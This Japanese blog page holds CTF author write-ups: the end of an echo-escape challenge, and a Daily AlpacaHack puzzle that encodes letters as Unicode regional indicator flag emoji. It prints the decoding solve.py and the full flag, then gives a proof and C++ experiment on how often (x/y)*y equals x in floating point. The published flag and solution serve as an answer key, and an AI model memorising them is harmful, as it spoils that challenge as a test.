フラグの内容は echo is a nice program contradicting its own name です。そもそも echo は反響のことで、打った文字列をそのまま返してくれるところから名前がついていると思うのですが、実態はそうなっていなくて面白いことだなあという気持ちです。もはや echo のことを単に「出力する」「表示する」みたいな意味合いで認識しているような気もします。float や long を「浮く」「長い」ではなく特定の数値型だと認識しているのと似ている気がします。

問題名 haec horrenda はラテン語で these horrible [things] の意味で、echo たちを指しているつもりです。echo を部分文字列に含むフレーズを考えていたのですが、英語でうまく作れなかったためこうなりました。

hos Helenus scopulos, haec saxa horrenda canebat (Vergilius, Aeneidos 3.559).

echo 自体の話に戻ります。Zsh 始めたての人が echo 'foo\nbar' と書いて foobar の行が表示されて「'...' の中に \n を書くと改行扱いになるのね〜」と解釈してしまいがちな気がします。echo のような「与えたものを表示するだけのことを期待している機能」でこうした特殊な処理が行われると、「こういうものを与えると(与える前の段階で)こういう風になっているんだろう」という誤解が起きがちです。 「print(1.0 / 10.0)0.1 と出力されるので、1.0 / 10.00.1 なんだろう($0.1$ を正しく計算できているんだろう)」とか、そういうのも近しい誤解な気がします。

echo -e '\x61' と書いたとき、echo に渡ってくる段階では b'\\x61' で、それを echo が解釈して出力した結果 b'a' になっている」「echo $'\x61' と書いたとき、シェルの機能として $'\x61'b'a' として扱われているため、echo に渡ってくる段階で b'a' になっている」といったような、どの段階でどう扱われているのかを意識するといいのかなという気がします。

おわり

おわりです。今後は Crypto も出題できたらいいなと思っています。

*1:以降、Python のバイト列のリテラルとして返り値を表現することにします。

Writeup for flags for the FLAG, Daily AlpacaHack 2026/3/19

Daily AlpacaHack 2026/3/19 の author’s write-up です。

alpacahack.com

解法例

output.txt のこれな〜んだ?という問題です。

🇦🇱🇵🇦🇨🇦{🇴🇲🇬🇮🇳🇺🇳🇮🇨🇴🇩🇪🇹🇭🇪🇸🇵🇪🇨🇮🇫🇮🇨🇵🇦🇮🇷🇸🇬🇮🇻🇪🇺🇸🇹🇭🇪🇸🇵🇪🇨🇮🇫🇮🇨🇲🇪🇦🇳🇮🇳🇬}

生成コードの chal.py を読むに、'A'b'\xf0\x9f\x87\xa6''B'b'\xf0\x9f\x87\xa7'、... という感じで変換されています。 これらのバイト列を出力してみると、特殊な A 的なものが表示されているように見えます。

% echo $'\xf0\x9f\x87\xa6'
#> 🇦

便宜上 #> で出力の行を示しています。フォントによる気もしますが、えびちゃんには破線の四角で囲まれた A が見えています。

xxd(1) などを用いて output.txt を見ると、たしかに b'\xf0\x9f\x87\xa6' (A) などの列になっていることがわかります。

% xxd -l 32 output.txt
#> 00000000: f09f 87a6 f09f 87b1 f09f 87b5 f09f 87a6  ................
#> 00000010: f09f 87a8 f09f 87a6 7bf0 9f87 b4f0 9f87  ........{.......
% echo $'\xf0\x9f\x87\xa6'
#> 🇦
% echo $'\xf0\x9f\x87\xb1'
#> 🇱
% echo $'\xf0\x9f\x87\xa6\xf0\x9f\x87\xb1'
#> 🇦🇱

どうやら、「🇦」と「🇱」を繋げて表示させようとすると「🇦🇱」になるようです。ここで、「🇦🇱」はアルバニア共和国の国旗で、この国の国名コード (ISO 3166-1 alpha-2) は AL です。

同様にして 🇵 + 🇦 = 🇵🇦 はパナマ共和国、🇨 + 🇦 = 🇨🇦 はカナダです。 すなわち、🇦🇱🇵🇦🇨🇦 の部分は ALPACA に対応していることがわかります。

chal.py の逆向きの操作をするコードを書くことで、残りの文字についても復元することができます。 国旗と国名コードに詳しい人であれば、絵文字を見ながらそのまま国名コードを言い当てられるような気もします。

solve.py

import re

FLAG = "🇦🇱🇵🇦🇨🇦{🇴🇲🇬🇮🇳🇺🇳🇮🇨🇴🇩🇪🇹🇭🇪🇸🇵🇪🇨🇮🇫🇮🇨🇵🇦🇮🇷🇸🇬🇮🇻🇪🇺🇸🇹🇭🇪🇸🇵🇪🇨🇮🇫🇮🇨🇲🇪🇦🇳🇮🇳🇬}".encode()

res = re.sub(
    b"\xf0\x9f\x87(.)",
    lambda m: chr(ord(m.group(1)) + ord("A") - 0xA6).encode(),
    FLAG,
)
print(res.decode().capitalize())

Alpaca{omginunicodethespecificpairsgiveusthespecificmeaning} 🇨🇭🇪🇪🇷🇸

ところで、国旗としてレンダリングされない環境で output.txt を見るとただの囲み文字が見えるだろうので、単に手でフラグを書き写すだけになってしまいますね。chal.py があるので手で書き写す以外の方法があるということはわかると思います。UTF-8 以外の文字コードとしてファイルを開いてしまった場合も意図しない感じになってしまいますが、よしなにしていただけるとうれしいです。

あとがき

フラグの内容は “OMG, in Unicode the specific pairs give us the specific meaning.” です。たとえば 🇼🇴🇷🇩 のように国名コードとして有効でない列(執筆時点)を並べても国旗として表示されないため、国名コード列として有効かつそれっぽい意味を持つ文章を作るのに苦労しました。温かみのある手作業で試行錯誤しながらの作文でした。

アルパカと関連があるらしい動物さんであるところの vicuña, vicugna も表せるらしいです。🇻🇮🇨🇺🇬🇳🇦🇸{🇦🇷🇪🇸🇮🇲🇮🇱🇦🇷🇹🇴🇦🇱🇵🇦🇨🇦}。

元素記号として存在する文字列だけを使って英作文をするみたいな遊びとも似ている気がします。一度はやったことがある人もいるかもしれません。 たとえばこういうやつですね。“PrOFeSSiONAl HAcKErS CaN OBTaIn ThAt FlAg InSTaNTlY.”

chal.py 内の関数名の risl は regional indicator symbol letter の頭文字です。 たとえば 🇦 には REGIONAL INDICATOR SYMBOL LETTER A という名前がついています (ref)。 Python の \N{...} などを使うことでも確かめられます。

>>> '\N{REGIONAL INDICATOR SYMBOL LETTER A}'
'🇦'
>>> import unicodedata
>>> unicodedata.name('🇦')
'REGIONAL INDICATOR SYMBOL LETTER A'

また、Unicode® Technical Standard #51: Unicode Emoji の Annex B: Valid Emoji Flag Sequences にもいろいろと記載があります。これらの列は、特定の地域を示すものであり、その地域に対応する特定の旗を示すものではないらしいです。

ところで、FLAG を名前に含む文字としては下記が挙げられます。

  • ⚐ (WHITE FLAG)
  • ⚑ (BLACK FLAG)
  • ⛳ (FLAG IN HOLE)
  • ⛿ (WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE)
  • 𝅮 (MUSICAL SYMBOL COMBINING FLAG-1)
  • 𝅯 (MUSICAL SYMBOL COMBINING FLAG-2)
  • 𝅰 (MUSICAL SYMBOL COMBINING FLAG-3)
  • 𝅱 (MUSICAL SYMBOL COMBINING FLAG-4)
  • 𝅲 (MUSICAL SYMBOL COMBINING FLAG-5)
  • 🎌 (CROSSED FLAGS)
  • 🏁 (CHEQUERED FLAG)
  • 🏳 (WAVING WHITE FLAG)
  • 🏴 (WAVING BLACK FLAG)
  • 📪 (CLOSED MAILBOX WITH LOWERED FLAG)
  • 📫 (CLOSED MAILBOX WITH RAISED FLAG)
  • 📬 (OPEN MAILBOX WITH RAISED FLAG)
  • 📭 (OPEN MAILBOX WITH LOWERED FLAG)
  • 🚩 (TRIANGULAR FLAG ON POST)

おわり

おわりです。出題中の B-SIDE もよろしくお願いします。

x / y * y == x となる確率について

double において 1.0 / 49.0 * 49.0 < 1.0true になることは有名です。 では、一般に x / y * y != x となるのはどういうときでしょうか? また、その誤差はどのくらいでしょうか?

こうした疑問自体はある程度自然であり、素朴なアルゴリズムの誤差評価の文脈でも出てくるものではあります。 これについて考えていたところ次のような定理を示せたので、今回はそれの話をします。

Theorem: 仮数部が $p$ bits の浮動小数点型において、$x, y\in [1\lldot 2)$ を一様ランダムに選ぶ。このとき、$(x\oslash y)\otimes y = x$ が成り立つ確率は $\ln(4)-\tfrac12+O(2^{-p})$ である。

すなわち、十分大きい $p$ において $0.886294$ 程度の確率で $(x\oslash y)\otimes y = x$ が成り立つということです。 精度を上げても確率 $1$ に近づくわけではなく、たとえば float, double, long double, __float128 のどれであってもほぼ同様の確率でそうなります。

記法

$\roundcirc{x}$ で、実数 $x$ を $p$-bit 仮数部の浮動小数点型に丸めた値を表します。 $x \otimes y$ と $x \oslash y$ で、それぞれ浮動小数点型における乗算 $\roundcirc{xy}$ と除算 $\roundcirc{x/y}$ を表します。

実数 $x\gt 0$ について、$2^e\le x\lt 2^{e+1}$ を満たす唯一の整数 $e$ に対して $\hfloor{x}=2^e$ とします。

観察

(まずは、上記の定理の存在を知らない時点のえびちゃんに遡って、追体験をお届けします。)

浮動小数点数で誤差が問題になる状況において、仮数部の桁数を上げれば解決するものとそうでないものがあります。 $(x\oslash y)\otimes y \ne x$ が成り立つような $(x, y)$ は __float128 でも依然として存在するものですし、今回は後者であろうと予想するのが自然そうです。

そうした状況においては、仮数部が短い浮動小数点型を自前で実装・エミュレートする方法が有効です。 速度が非常に重要になるわけでもないため、四則演算(や FMA や平方根)の correct rounding な実装をするのは比較的容易です。 これらの演算については IEEE 754 下で correct rounding を仮定できるため、ふつうの処理系に関してはそういう前提で考えてよいでしょう。

整数性を使うにあたって便利なので、$[1\lldot 2)$ の代わりに $\{2^{p-1}, \dots, 2^p-1\}$ で考えます。指数部で $2^{p-1}$ 倍の調整をするだけなので一般性は変わりません。

というわけで、$p \in \{4, 5, \dots, 9\}$ で実験してみます。 下方向を $+x$、右方向が $+y$(いわゆる $x$-$y$ で連想する方向を時計回りに $90^\circ$ 回した形)で、$(x\oslash y)\otimes y$ の値で色分けをしています。白が $x$、ピンクが $x-2^{-p}$、赤が $x-2^{-p+1}$、青が $x+2^{-p+1}$ です。

$p=4$
$p=5$
$p=6$
$p=7$
$p=8$
$p=9$

わ、これは何らかの規則性があると見るのが自然でしょう。えびちゃんもこれにはびっくりです。アーチ上の模様が積み重なっているように見えます。

ということで、この規則性っぽい部分について考察すれば、何かしらが求められそうです。

基本的な性質たち

丸めに関して基本的な性質をまとめておきます。改めての証明は行いません。

Property 0.1: $n\in \{2^{p-1}, \dots, 2^p-1\}$, $r\in[0\lldot 1)$ に対して、$x = n+r$ のとき、 $$ \roundcirc{x} = \begin{cases} n, & \text{if~}r \lt \tfrac12; \\ n, & \text{if~}r = \tfrac12 \wedge n \equiv 0 \pmod 2; \\ n+1, & \text{if~} r = \tfrac12 \wedge n \equiv 1 \pmod 2; \\ n+1, & \text{if~} r \gt \tfrac12 \end{cases} $$ が成り立つ。

Property 0.2: $n\in \{2^{p-1}, \dots, 2^p-1\}$, $r\in[0\lldot 1)$ に対して、$x = n+r$ のとき、$|{\roundcirc{x}-x}|\le \tfrac12$ が成り立つ。

考察

Lemma 1: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ とする。このとき、下記が成り立つ。 $$ (x\oslash y)\otimes y \in \begin{cases} \{x-\tfrac12, x\}, & \text{if~}x = 2^{p-1}; \\ \{x\}, & \text{if~}x \gt 2^{p-1} \wedge x \le y; \\ \{x-1, x, x+1\}, & \text{if~}x \gt 2^{p-1} \wedge x\gt y. \end{cases} $$

Proof

Case 1: $x = 2^{p-1}$.

$x = y$ のとき明らかに $(x\oslash y)\otimes y = x$ であるから、以降 $x\lt y$ とする。このとき $\tfrac12\lt x/y\lt 1$ より $\hfloor{x/y} = \tfrac12$ である。

$2^{p-1}\le x/y\cdot 2^p\lt 2^p$ に注意し、 $$ \begin{aligned} |(x\oslash y)-(x/y)| &= |\roundcirc{x/y\cdot 2^p}\cdot 2^{-p} - x/y| \\ &= |\roundcirc{x/y\cdot 2^p} - x/y\cdot 2^p| \cdot 2^{-p} \\ &\le \tfrac12\cdot 2^{-p} = 2^{-p-1} \end{aligned} $$ が成り立つ。よって、ある $|\delta|\le 2^{-p-1}$ を用いて $x\oslash y = x/y+\delta$ と表せ、 $$ \begin{aligned} (x\oslash y)\otimes y &= (x/y+\delta)\otimes y \\ &= \roundcirc{(x/y+\delta)\cdot y} \\ &= \roundcirc{x+\delta y} \end{aligned} $$ である。$y\lt 2^p$ より $|\delta y| \lt \tfrac12$ であるから、 $$ (x\oslash y)\otimes y = \begin{cases} x-\tfrac12, & \text{if~} -\tfrac12 \lt \delta y \lt -\tfrac14; \\ x, & \text{if~} -\tfrac14 \le \delta y \lt \tfrac12 \end{cases} $$ が成り立つ。

Case 2: $x\gt 2^{p-1} \wedge x\le y$.

Case 1 同様にして $x\lt y$ とする。このとき $\tfrac12\lt x/y\lt 1$ より $\hfloor{x/y} = \tfrac12$ である。

ある $|\delta|\le 2^{-p-1}$ に対して $(x\oslash y)\otimes y = \roundcirc{x+\delta y}$ と表せ、$y\lt 2^p$ より $|\delta y| \lt \tfrac12$ なので $(x\oslash y)\otimes y = x$ が従う。

Case 3: $x\gt 2^{p-1} \wedge x\gt y$.

このとき $1\lt x/y\lt 2$ より $\hfloor{x/y} = 1$ である。

$2^{p-1}\le x/y\cdot 2^{p-1}\lt 2^p$ に注意し、 $$ \begin{aligned} |(x\oslash y)-(x/y)| &= |\roundcirc{x/y\cdot 2^{p-1}}\cdot 2^{-p+1} - x/y| \\ &= |\roundcirc{x/y\cdot 2^{p-1}} - x/y\cdot 2^{p-1}| \cdot 2^{-p+1} \\ &\le \tfrac12\cdot 2^{-p+1} = 2^{-p} \end{aligned} $$ が成り立つ。よって、ある $|\delta|\le 2^{-p}$ に対して$(x\oslash y)\otimes y = \roundcirc{x+\delta y}$ と表せる。 $y\lt 2^p$ より $|\delta y| \lt 1$ であるから、 $$ (x\oslash y)\otimes y \in \{x-1, x, x+1\} $$ が従う。$\qed$

Lemma 2: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ に対し、$x \gt 2^{p-1}$ かつ $x\gt y$ のとき $(x\oslash y)\otimes y = x-1$ となる必要十分条件は、$r = x\cdot 2^{p-1}\bmod y$ として $$ ( (r\gt 2^{p-2})\wedge (r\lt y-r) )\vee( (r = 2^{p-2})\wedge (x\bmod 2=1) ) $$ である。

Proof

Case 1: $r\lt 2^{p-2}$.

このとき $(x\oslash y)\otimes y = x$ を示す。$r/y \lt 2^{p-2}/2^{p-1} = \tfrac12$ が成り立つ。

ある $q\in\Z$ が存在して $x\cdot 2^{p-1}=qy+r$ と表せる。 $2^{p-1}\le x/y\cdot 2^{p-1}\lt 2^p$ より $$ \begin{aligned} x\oslash y &= \roundcirc{x/y\cdot 2^{p-1}}\cdot 2^{-p+1} \\ &= \roundcirc{q+r/y}\cdot 2^{-p+1} \\ &= q\cdot 2^{-p+1} \end{aligned} $$ であり、$r\cdot 2^{-p+1} \lt \tfrac12$ に注意して $$ \begin{aligned} (x\oslash y)\otimes y &= \roundcirc{qy}\cdot 2^{-p+1} \\ &= \roundcirc{x\cdot 2^{p-1}-r}\cdot 2^{-p+1} \\ &= \roundcirc{x-r\cdot 2^{-p+1}} \\ &= x \end{aligned} $$ が成り立つ。

Case 2: $r = 2^{p-2}$.

このとき $x\bmod 2=0 \iff (x\oslash y)\otimes y = x$ を示す。

Case 1 同様にして $$ \begin{aligned} (x\oslash y)\otimes y &= \roundcirc{x-r\cdot 2^{-p+1}} \\ &= \roundcirc{x-\tfrac12} \end{aligned} $$ であり、Property 0.1 より従う。

Case 3: $r\gt 2^{p-2}$.

このとき $r/y\lt \tfrac12 \iff (x\oslash y)\otimes y = x-1$ を示す。

Case 3-1: $r/y\lt \tfrac12$.

$r\cdot 2^{-p+1} \gt \tfrac12$ に注意しつつ Case 1 同様にして $$ \begin{aligned} (x\oslash y)\otimes y &= \roundcirc{x-r\cdot 2^{-p+1}} \\ &= x-1 \end{aligned} $$ が成り立つ。

Case 3-2: $r/y = \tfrac12$.

これを満たす $(x, y)$ は存在しないことを背理法で示す。

$r = \tfrac y2$ とすると、$x\cdot 2^{p-1} = qy+\tfrac y2$、すなわち $x\cdot 2^p = (2q+1)\cdot y$ が成り立つ。 $x$ は整数であるから左辺は $2^p$ で割り切れるが、$y\lt 2^p$ なので右辺は $2^p$ で割り切れないため矛盾。

Case 3-3: $r/y \gt \tfrac12$.

$2^{p-1}\le x/y\cdot 2^{p-1}\lt 2^p$ より $$ \begin{aligned} x\oslash y &= \roundcirc{x/y\cdot 2^{p-1}}\cdot 2^{-p+1} \\ &= \roundcirc{q+r/y}\cdot 2^{-p+1} \\ &= (q+1)\cdot 2^{-p+1}. \end{aligned} $$ $r\lt y$ より $$ \begin{aligned} (x\oslash y)\otimes y &= ( (q+1)\cdot 2^{-p+1})\otimes y \\ &= \roundcirc{( (q+1)\cdot 2^{-p+1})\cdot y} \\ &= \roundcirc{qy + y}\cdot 2^{-p+1} \\ &= \roundcirc{x\cdot 2^{p-1}+y-r}\cdot 2^{-p+1} \\ &= \roundcirc{x + (y-r)\cdot 2^{-p+1})} \\ &\ge \roundcirc{x}\cdot 2^{-p+1} \\ &= x\cdot 2^{-p+1}. \quad\qed \end{aligned} $$

Lemma 3: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ に対し、$x \gt 2^{p-1}$ かつ $x\gt y$ のとき $(x\oslash y)\otimes y = x+1$ となる必要十分条件は、$r = x\cdot 2^{p-1}\bmod y$ として $$ ( (y-r\gt 2^{p-2})\wedge (r\gt y-r) )\vee( (y-r = 2^{p-2})\wedge (x\bmod 2=1) ) $$ である。

Proof. Lemma 2 と同様にして示せる。$\qed$

Lemma 4: $x, y\in \{2^{p-1}+1, \dots, 2^p-1\}$ に対し、$r_y(x) = x\cdot 2^{p-1}\bmod y$ とする。

$x\gt y$ とし、正整数 $k$ に対して $\angled{r_y(x), r_y(x+1), \dots, r_y(x+k-1)}$ が下記をすべて満たすとする。

  • 各 $0\le i\lt k-1$ に対して $r_y(x+i) \gt r_y(x+i+1)$
  • $r_y(x-1) \lt r_y(x)$
  • $r_y(x+k-1) \lt r_y(x+k)$

このとき、ちょうど一つの $i\in\{0, 1, \dots, k-1\}$ に対して $( (x+i)\oslash y)\otimes y \ne x+i$ が成り立つ。

Proof

$0\lt y-2^{p-1}\lt 2^{p-1}\lt y$ が成り立つことに注意する。任意の $0\le i\lt k-1$ に対し、 $$ \begin{aligned} r_y(x+i+1) &= (x+i+1)\cdot 2^{p-1}\bmod y \\ &= ( (x+i)\cdot 2^{p-1} + 2^{p-1})\bmod y \\ &= ( (x+i)\cdot 2^{p-1} - (y - 2^{p-1}) )\bmod y \\ &= r_y(x+i) - (y-2^{p-1}) \end{aligned} $$ が成り立つ。よって、$\angled{r_y(x), r_y(x+1), \dots, r_y(x+k-1)}$ は交差 $-(y-2^{p-1})$ の等差数列である。

Case 1: $2^{p-2} \in \{r_y(x), r_y(x+1), \dots, r_y(x+k-1)\}$.

$y - r_y(x+i) = 2^{p-2} \iff r_y(x+i+1) = 2^{p-2}$ であることと $(x+i)\bmod 2 = 1$ と $(x+i+1)\bmod 2 = 1$ のうちどちらか片方のみが成り立つことから従う。

Case 2: $2^{p-2} \notin \{r_y(x), r_y(x+1), \dots, r_y(x+k-1)\}$.

Lemmata 2–3 を踏まえると、$( (x+i)\oslash y)\otimes y\ne x+i$ であることは $r_y(x+i)$ が $\angled{2^{p-2}, \dots, y-2^{p-2}}$ に含まれることと同値である。 $\angled{2^{p-2}, \dots, y-2^{p-2}}$ は連続する $y-2^{p-1}+1$ 個の整数であり、交差 $-(y-2^{p-1})$ であり $2^{p-2}$ を含まない等差数列との共通部分はちょうど 1 つである。$\qed$

Lemma 5: $y\in \{2^{p-1}+1, \dots, 2^p-1\}$ とする。 $(x\oslash y)\otimes y \ne x$ かつ $x\gt 2^{p-1}$ なる $x$ の個数は $-y + 3\cdot 2^{p-1} - 2^{2p-1}/y+O(1)$ 個である。

Proof

下記を満たす連続部分列の個数は、高々 1 つである。

  • 各 $0\le i\lt k-1$ に対して $r_y(x+i) \gt r_y(x+i+1)$
  • $x-1 = y$
  • $r_y(x+k-1) \lt r_y(x+k)$

また、下記についても同様である。

  • 各 $0\le i\lt k-1$ に対して $r_y(x+i) \gt r_y(x+i+1)$
  • $r_y(x-1) \lt r_y(x)$
  • $x+k-1 = 2^p$

これらの連続部分列に対応する $i$ のうち $( (x+i)\oslash y)\otimes y \ne x+i$ となるものは高々 1 つである。

各 $i$ に対して、$q_i$ が存在して $r_y(y+i) = r_y(y) - i(y-2^{p-1}) + q_iy$ が成り立つ。求める値は $q_{2^p-y}+O(1)$ となる。 $$ \begin{aligned} q_{2^p-y}y &= r_y(2^p) - r_y(y) + (2^p-y)(y-2^{p-1}) \\ &= (2^{2p-1}\bmod y) - 0 + (2^p-y)(y-2^{p-1}) \\ &= (2^p-y)(y-2^{p-1}) + O(y) \end{aligned} $$ であり、 $$ \begin{aligned} \frac{(y-2^{p-1})(2^p-y)}y &= \frac{2^p\cdot y - y^2 -2^{2p-1} + 2^{p-1}\cdot y}y \\ &= -y + 3\cdot 2^{p-1} - 2^{2p-1}/y \end{aligned} $$ であるから、 $$ q_{2^p-y} = -y + 3\cdot 2^{p-1} - 2^{2p-1}/y + O(1) $$ となる。$\qed$

Theorem 6: $x, y\in \{2^{p-1}, \dots, 2^p-1\}$ を一様ランダムに選んだとき、$(x\oslash y)\otimes y = x$ となる確率は $\ln(4)-\tfrac12+O(2^{-p}) \approx 0.886294$ である。

Proof

余事象を考える。 まず、Lemma 1 より $( (x\oslash y)\otimes y)-x = -\tfrac12$ なる確率は $O(2^{-p})$ である。

$|( (x\oslash y)\otimes y)-x| = 1$ なる通り数は次の通りである。 $$ \begin{aligned} &\phantom{{}={}} \sum_{y=2^{p-1}+1}^{2^p-1} {-y + 3\cdot 2^{p-1} - 2^{2p-1}/y + O(1)} \\ &= -\tfrac12(2^{p-1}-1)(2^p+2^{p-1}) + 3\cdot 2^{p-1}\cdot (2^{p-1}-1) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{p-1}\cdot (-\tfrac12(2^{p-1}-1) + (2^{p-1}-1) ) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{p-1}\cdot \tfrac12(2^{p-1}-1) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{p-2}\cdot (2^{p-1}-1) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot (2^{2p-3}-2^{p-2}) - 2^{2p-1}\cdot (H_{2^p-1}-H_{2^{p-1}}) + O(1) \\ &= 3\cdot 2^{2p-3} - 2^{2p-1}\cdot (\ln(2^p)-\ln(2^{p-1}) ) + O(2^p) \\ &= 3\cdot 2^{2p-3} - 2^{2p-1}\ln(2) + O(2^p) \\ &= 2^{2(p-1)} \cdot \left(\tfrac32-\ln(4)\right) + O(2^p). \end{aligned} $$ これを $2^{2(p-1)}$ で割って、$\tfrac32-\ln(4)+O(2^{-p})$ を得る。これらより、求める確率は $$ 1-\left(\tfrac32-\ln(4)+O(2^{-p})\right) = \ln(4)-\tfrac12+O(2^{-p}) $$ となる。$\qed$

Claim 7: $y$ を固定したときに $(x\oslash y)\otimes y=x$ となりにくいのは $y=2^{p-1/2}$ のときで、確率は $2\sqrt2-2+O(2^{-p}) \approx 0.828427$ である。

Proof

相加相乗平均の関係に注意して、$|( (x\oslash y)\otimes y)-x| = 1$ なる通り数は $$ \begin{aligned} &\phantom{{}={}} \max_y {(-y + 3\cdot 2^{p-1} - 2^{2p-1}/y)} \\ &= 3\cdot 2^{p-1} - \min_y {(y + 2^{2p-1}/y)} \\ &= 3\cdot 2^{p-1} - 2\cdot (2^{2p-1})^{1/2} \\ &= 3\cdot 2^{p-1} - 2^{p+1/2} \\ &= 3\cdot 2^{p-1} - 2\sqrt 2\cdot 2^{p-1} \\ &= (3-2\sqrt 2)\cdot 2^{p-1} \end{aligned} $$ である。上界を達成するのは $y=2^{p-1/2}$ である。$( (x\oslash y)\otimes y)-x = -\tfrac12$ なる確率は $O(2^{-p})$ であるから、求める確率は $$ 1 - ( (3-2\sqrt 2) + O(2^{-p}) ) = 2\sqrt 2-2 + O(2^{-p}) $$ である。$\qed$

実験

f32, f64, f80, f128 のそれぞれについて $10^9$ 回選んだときの $( (x\oslash y)\otimes y)-x$ は次の通りでした。C++ における f32 の promotion の仕様から、明示的に f32 にキャストする必要があり、そこで二重丸めが起きている気がします。一応ここではおそらくは影響しないはず?

$-1$ $-\tfrac12$ $0$ $1$
f32 $56859910$ $23$ $886284147$ $56855920$
f64 $56868530$ $0$ $886294349$ $56837121$
f80 $56863534$ $0$ $886292498$ $56843968$
f128 $56845181$ $0$ $886294978$ $56859841$

綺麗に揃った値になっていてうれしいです。

xyy_count.cpp

#include <iomanip>
#include <iostream>
#include <map>
#include <quadmath.h>
#include <random>

template <typename F> F random_1_2(std::mt19937& mt) { return F(); }

template <> float random_1_2(std::mt19937& mt) {
  return (mt() & ~(~0u << 23)) | 1u << 23;
}

template <> double random_1_2(std::mt19937& mt) {
  unsigned long res = mt();
  res <<= 32;
  res |= mt();
  res &= ~(~0uL << 52);
  res |= 1uL << 52;
  return res;
}

template <> long double random_1_2(std::mt19937& mt) {
  unsigned long res = mt();
  res <<= 32;
  res |= mt();
  res |= 1uL << 63;
  return res;
}

template <> __float128 random_1_2(std::mt19937& mt) {
  unsigned __int128 res = mt();
  res <<= 32;
  res |= mt();
  res <<= 32;
  res |= mt();
  res <<= 32;
  res |= mt();
  res &= ~(~(unsigned __int128)0u << 112);
  res |= (unsigned __int128)(1u) << 112;
  return res;
}

template <typename F> void count_f(long n) {
  std::map<F, unsigned long> c;
  std::cerr << std::fixed << std::setprecision(1);
  std::random_device rd;
  std::mt19937 mt(rd());
  for (int i = 0; i < n; ++i) {
    volatile F x = random_1_2<F>(mt);
    volatile F y = random_1_2<F>(mt);
    volatile F z = F(x / y) * y;
    ++c[F(z - x)];
  }
  std::cout << "---\n";
  for (auto [x, y]: c) {
    std::cout << double(x) << '\t' << y << '\n';
  }
}

int main() {
  long const N = 1e9;
  count_f<float>(N);
  count_f<double>(N);
  count_f<long double>(N);
  count_f<__float128>(N);
}

これに基づいて $\ln(4)$ の値を計算するというギャグも可能そうです。精度はお察しです。

あとがき

この手の命題を示すと、「浮動小数点型は自動正確丸め機能つき整数型であるなあ」のような気持ちになります。整数分野に強い人はこの手の話を簡単に示せそうだなという気がします。示してうれしいかは人によりそうです。

今回の記事は AtCoder Weekday Contest 0014 Beta C についての話を Twitter で見ていたときに考え始めました。

そういう反例が多数存在しますというふわふわリプライを送りつけ、「そんなふわふわリプライが許されるのか?」という気持ちで調べていました。 実際、無視するとまずそうな比率で存在していそうということがわかってよかったです。

その問題の解説には (非推奨) Claude 4.5 Opus だとか (非推奨) Qwen3-Coder-480B だとかがあり、非推奨ってなんやねんという気持ちにはなりました。Beta ということもあってまぁそのへんはまぁという感じなのかもしれません。

速度を求めるにあたって v = x/y とし、その後で時間を掛けて距離 v*t を求めるようなコードを書くと、今回の記事の形の式になります。 なので、多少の個数の y == t のランダムケースを用意すれば、そのような解法を落とせそうだなぁという感じがします。

仮数部の桁数を上げても解決しない具体的な例を具体的な確率つきで示すことができて、うれしいなという気持ちです。 好きな数を聞かれたら $\ln(4)-\tfrac12$ と答えるようになってしまうかもしれません。

浮動小数点型びっくり命題シリーズとしては下記もありますが、今回のもお気に入りになりそうです。

rsk0315.hatenablog.com

AtCoder Weekday Contest 0014 Beta B の解説 も浮動小数点型を用いており、こちらの正当性は下記から従う気がします。

rsk0315.hatenablog.com

おわり

おわりです。